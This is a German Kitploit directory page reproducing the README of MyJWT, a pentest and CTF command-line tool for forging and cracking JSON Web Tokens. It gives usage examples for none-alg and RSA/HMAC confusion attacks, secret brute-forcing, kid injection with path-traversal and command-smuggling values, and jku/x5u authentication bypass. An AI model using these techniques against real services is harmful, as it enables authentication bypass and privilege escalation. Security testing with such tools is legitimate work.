Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
MyJWT — Ein CLI zum Knacken und Testen von Schwachstellen in JSON Web Token (JWT) | Kitploit
Tools/GitHubGitHub/tyki6/myjwt
Passwort-CrackingSchwachstellenanalyseWebsicherheitPenetrationstests
GitHubtyki6/myjwt

MyJWT

Ein CLI zum Knacken und Testen von Schwachstellen in JSON Web Token (JWT)

Repository anzeigen
138193vor 11 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

MyJWT

mBouamama PyPI BlackArch package PyPI - Python Version PyPI - Download GitHub release (latest by date) Documentation Status Rawsec's CyberSecurity Inventory Code style: black codecov docstr_coverage codebeat badge Updates Known Vulnerabilities

Einleitung

Dieses CLI ist für Pentester, CTF‑Spieler oder Entwickler.
Sie können Ihr JWT modifizieren, signieren, injizieren usw.
Siehe Dokumentation für weitere Informationen.
Wenn Sie Probleme oder Verbesserungsvorschläge sehen, senden Sie ein Issue. Ich werde so schnell wie möglich antworten. Viel Spaß :)

Dokumentation

Dokumentation ist verfügbar unter http://myjwt.readthedocs.io

Inhaltsverzeichnis

  • Funktionen
  • Installation
  • Verwendung
  • Beispiele
  • Download
  • Mitwirken
  • Änderungsprotokoll

Funktionen

  • neues JWT in die Zwischenablage kopieren
  • Benutzeroberfläche (dank questionary)
  • farbige Ausgabe
  • JWT modifizieren (Header/Payload)
  • None‑Schwachstelle
  • RSA/HMAC‑Konfusion
  • JWT mit Schlüssel signieren
  • Brute‑Force zum Erraten des Schlüssels
  • JWT mit Regex knacken, um Schlüssel zu erraten
  • kid‑Injection
  • Jku‑Bypass
  • X5u‑Bypass

Installation

Um myjwt zu installieren, verwenden Sie einfach pip:

root@kitploit:~
pip install myjwt

Um myjwt von einem Docker‑Image aus auszuführen, führen Sie Folgendes aus:

root@kitploit:~
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

# mount volume for wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# On Windows
docker run -v %CD%/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

Um myjwt auf Git zu installieren:

root@kitploit:~
git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help

Um myjwt auf BlackArch zu installieren:

root@kitploit:~
pacman -S myjwt

Packaging status

Verwendung

root@kitploit:~
$ myjwt --help
Usage: myjwt [OPTIONS] JWT

  This cli is for pentesters, CTF players, or dev.
  You can modify your jwt, sign, inject ,etc...
  Full documentation is at http://myjwt.readthedocs.io.
  If you see problems or enhancement send an issue.I will respond as soon as possible.
  Enjoy :)
  All new jwt will be copy to the clipboard.

Options:
  --version                    Show the version and exit.
  --full-payload TEXT          New payload for your jwt.Json format Required.
  -h, --add-header TEXT        Add a new key, value to your jwt header, if key
                               is present old value will be replaced.Format:
                               key=value.

  -p, --add-payload TEXT       Add a new key, value to your jwt payload, if
                               key is present old value will be
                               replaced.Format: key=value.

  --sign TEXT                  Sign Your jwt with key given.
  --verify TEXT                verify your key.
  -none, --none-vulnerability  Check None Alg vulnerability.
  --hmac PATH                  Check RS/HMAC Alg vulnerability.
  --bruteforce PATH            Bruteforce to guess the secret used to sign the
                               token.

  -r, --crack TEXT             regex to iterate all string possibilities to
                               guess the secret used to sign the token.

  --kid TEXT                   Kid Injection sql
  --jku TEXT                   Jku Header to bypass authentication
  --x5u TEXT                   X5u Header to bypass authentication
  --crt TEXT                   For x5cHeader, force crt file
  --key TEXT                   For jku or x5c Header, force private key to
                               your key file

  --file TEXT                  For jku Header and x5u Header, force file name
  --print                      Print Decoded JWT
  -u, --url TEXT               Url to send your jwt.
  -m, --method TEXT            Method use for send request to url.(Default
                               GET).

  -d, --data TEXT              Data send to your url.Format: key=value. if
                               value = MY_JWT value will be replace by new
                               jwt.

  -c, --cookies TEXT           Cookies to send to your url.Format: key=value.
                               if value = MY_JWT value will be replace by new
                               jwt.

  --help                       Show this message and exit.

JWT modifizieren

Überprüfen Sie Ihr JWT (HS alg)

OptionTypBeispielHilfe
--signtextmysecretkeySigniert Ihr JWT mit Ihrem Schlüssel
--verifytextmysecretkeyVerifiziert Ihren Schlüssel.

Exploit

Senden Sie Ihr JWT

Sonstiges

Beispiele

  • Ihr JWT modifizieren
  • None‑Schwachstelle prüfen
  • Schlüssel signieren
  • Brute‑Force der Signatur
  • RSA/HMAC‑Konfusion
  • Kid‑Injection
  • Neues JWT an URL senden
  • Jku‑Schwachstelle
  • X5u‑Schwachstelle

Ihr JWT modifizieren

CLI

root@kitploit:~
myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"

Code

root@kitploit:~
from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt

jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]

Vollständiges Beispiel hier: 01-modify-jwt

None‑Schwachstelle

CLI

root@kitploit:~
myjwt YOUR_JWT --none-vulnerability

CODE

root@kitploit:~
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])

Vollständiges Beispiel hier: 02-none-vulnerability

Schlüssel signieren

CLI

root@kitploit:~
myjwt YOUR_JWT --sign YOUR_KEY

CODE

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)

Vollständiges Beispiel hier: 03-sign-key

Brute‑Force

CLI

root@kitploit:~
myjwt YOUR_JWT --bruteforce PATH

CODE

root@kitploit:~
from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)

Vollständiges Beispiel hier: 04-brute-force

Crack

CLI

root@kitploit:~
myjwt YOUR_JWT --crack REGEX

RSA/HMAC‑Konfusion

CLI

root@kitploit:~
myjwt YOUR_JWT --hmac FILE

CODE

root@kitploit:~
from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)

Vollständiges Beispiel hier: 05-rsa-hmac-confusion

Kid‑Injection

CLI

root@kitploit:~
myjwt YOUR_JWT --kid INJECTION

Code

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid

injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)

Vollständiges Beispiel hier: 06-kid-injection

Neues JWT an URL senden

CLI

root@kitploit:~
myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"

Jku‑Schwachstelle

CLI

root@kitploit:~
myjwt YOUR_JWT --jku YOUR_URL

Code

root@kitploit:~
from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

Vollständiges Beispiel hier: 07-jku-bypass

X5u‑Schwachstelle

CLI

root@kitploit:~
myjwt YOUR_JWT --x5u YOUR_URL

Code

root@kitploit:~
from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

Vollständiges Beispiel hier: 08-x5u-bypass

Download

Überprüfen Sie die GitHub‑Releases. Die neueste Version ist verfügbar unter https://github.com/mBouamama/MyJWT/releases/latest

Mitwirken

  • Forken Sie dieses Repository oder klonen Sie es
  • Erstellen Sie einen neuen Branch (Feature, Hotfix, usw.)
  • Nehmen Sie die erforderlichen Änderungen vor und committen Sie diese
  • Überprüfen Sie Lint mit make lint
  • Überprüfen Sie Unit‑Tests mit make test
  • Senden Sie einen Pull Request Ich werde es so schnell wie möglich überprüfen.

Änderungsprotokoll

Das Protokoll ist ziemlich lang geworden. Es wurde in eine eigene Datei verschoben.

Siehe CHANGES.

Tool herunterladen
OptionTypBeispielHilfe
--ful-payloadJSON{"user": "admin"}Neue Nutzlast für Ihr JWT.
-h, --add-headerkey=valueuser=adminFügt einen neuen Schlüssel/Wert zum JWT‑Header hinzu. Wenn der Schlüssel vorhanden ist, wird der alte Wert ersetzt.
-p, --add-payloadkey=valueuser=adminFügt einen neuen Schlüssel/Wert zur JWT‑Nutzlast hinzu. Wenn der Schlüssel vorhanden ist, wird der alte Wert ersetzt.
OptionTypBeispielHilfe
-none, --none-vulnerabilityNichtsÜberprüft die None‑Alg‑Schwachstelle.
--hmacPFAD./public.pemÜberprüft die RS/HMAC‑Alg‑Schwachstelle und signiert Ihr JWT mit dem öffentlichen Schlüssel.
--bruteforcePFAD./wordlist/big.txtBrute‑Force zum Erraten des Geheimnisses, das zum Signieren des Tokens verwendet wurde. Verwendet eine Textdatei mit allen Passwörtern (1 pro Zeile)
--crackREGEX"[a-z]{4}"Regex, um alle String‑Möglichkeiten zu durchlaufen und das Geheimnis zum Signieren des Tokens zu erraten.
--kidtext"00; echo /etc/.passwd"Kid‑Injection (SQL)
--jkutextMYPUBLICIPJku‑Header, um Authentifizierung zu umgehen. Verwenden Sie --file, um den JWKS‑Dateinamen zu ändern, und --key, um Ihren eigenen privaten PEM zu verwenden.
--x5utextMYPUBLICIPFür Jku‑ oder x5c‑Header. Verwenden Sie --file, um den JWKS‑Dateinamen zu ändern, und --key, um Ihren eigenen privaten PEM zu verwenden.
OptionTypBeispielHilfe
-u, --urlurlhttp://challenge01.root-me.org/web-serveur/ch59/adminURL zum Senden Ihres JWT.
-m, --methodtextPOSTMethode zum Senden der Anfrage an die URL (Standard: GET).
-d, --datakey=valuesecret=MY_JWTDaten, die an Ihre URL gesendet werden. Format: key=value. Wenn value = MY_JWT, wird der Wert durch Ihr neues JWT ersetzt.
-c, --cookieskey=valuesecret=MY_JWTCookies, die an Ihre URL gesendet werden. Format: key=value. Wenn value = MY_JWT, wird der Wert durch Ihr neues JWT ersetzt.
OptionTypBeispielHilfe
--crtPFAD./public.crtFür x5c‑Header, erzwingt die CRT‑Datei
--keyPFAD./private.pemFür Jku‑ oder x5c‑Header, erzwingt den privaten Schlüssel zu Ihrer Schlüsseldatei
--filetextmyfileFür Jku‑Header, erzwingt den Dateinamen ohne .json‑Erweiterung
--printNichtsGibt dekodiertes JWT aus
--helpNichtsZeigt Hilfemeldung an und beendet.
--versionNichtsZeigt die MyJWT‑Version an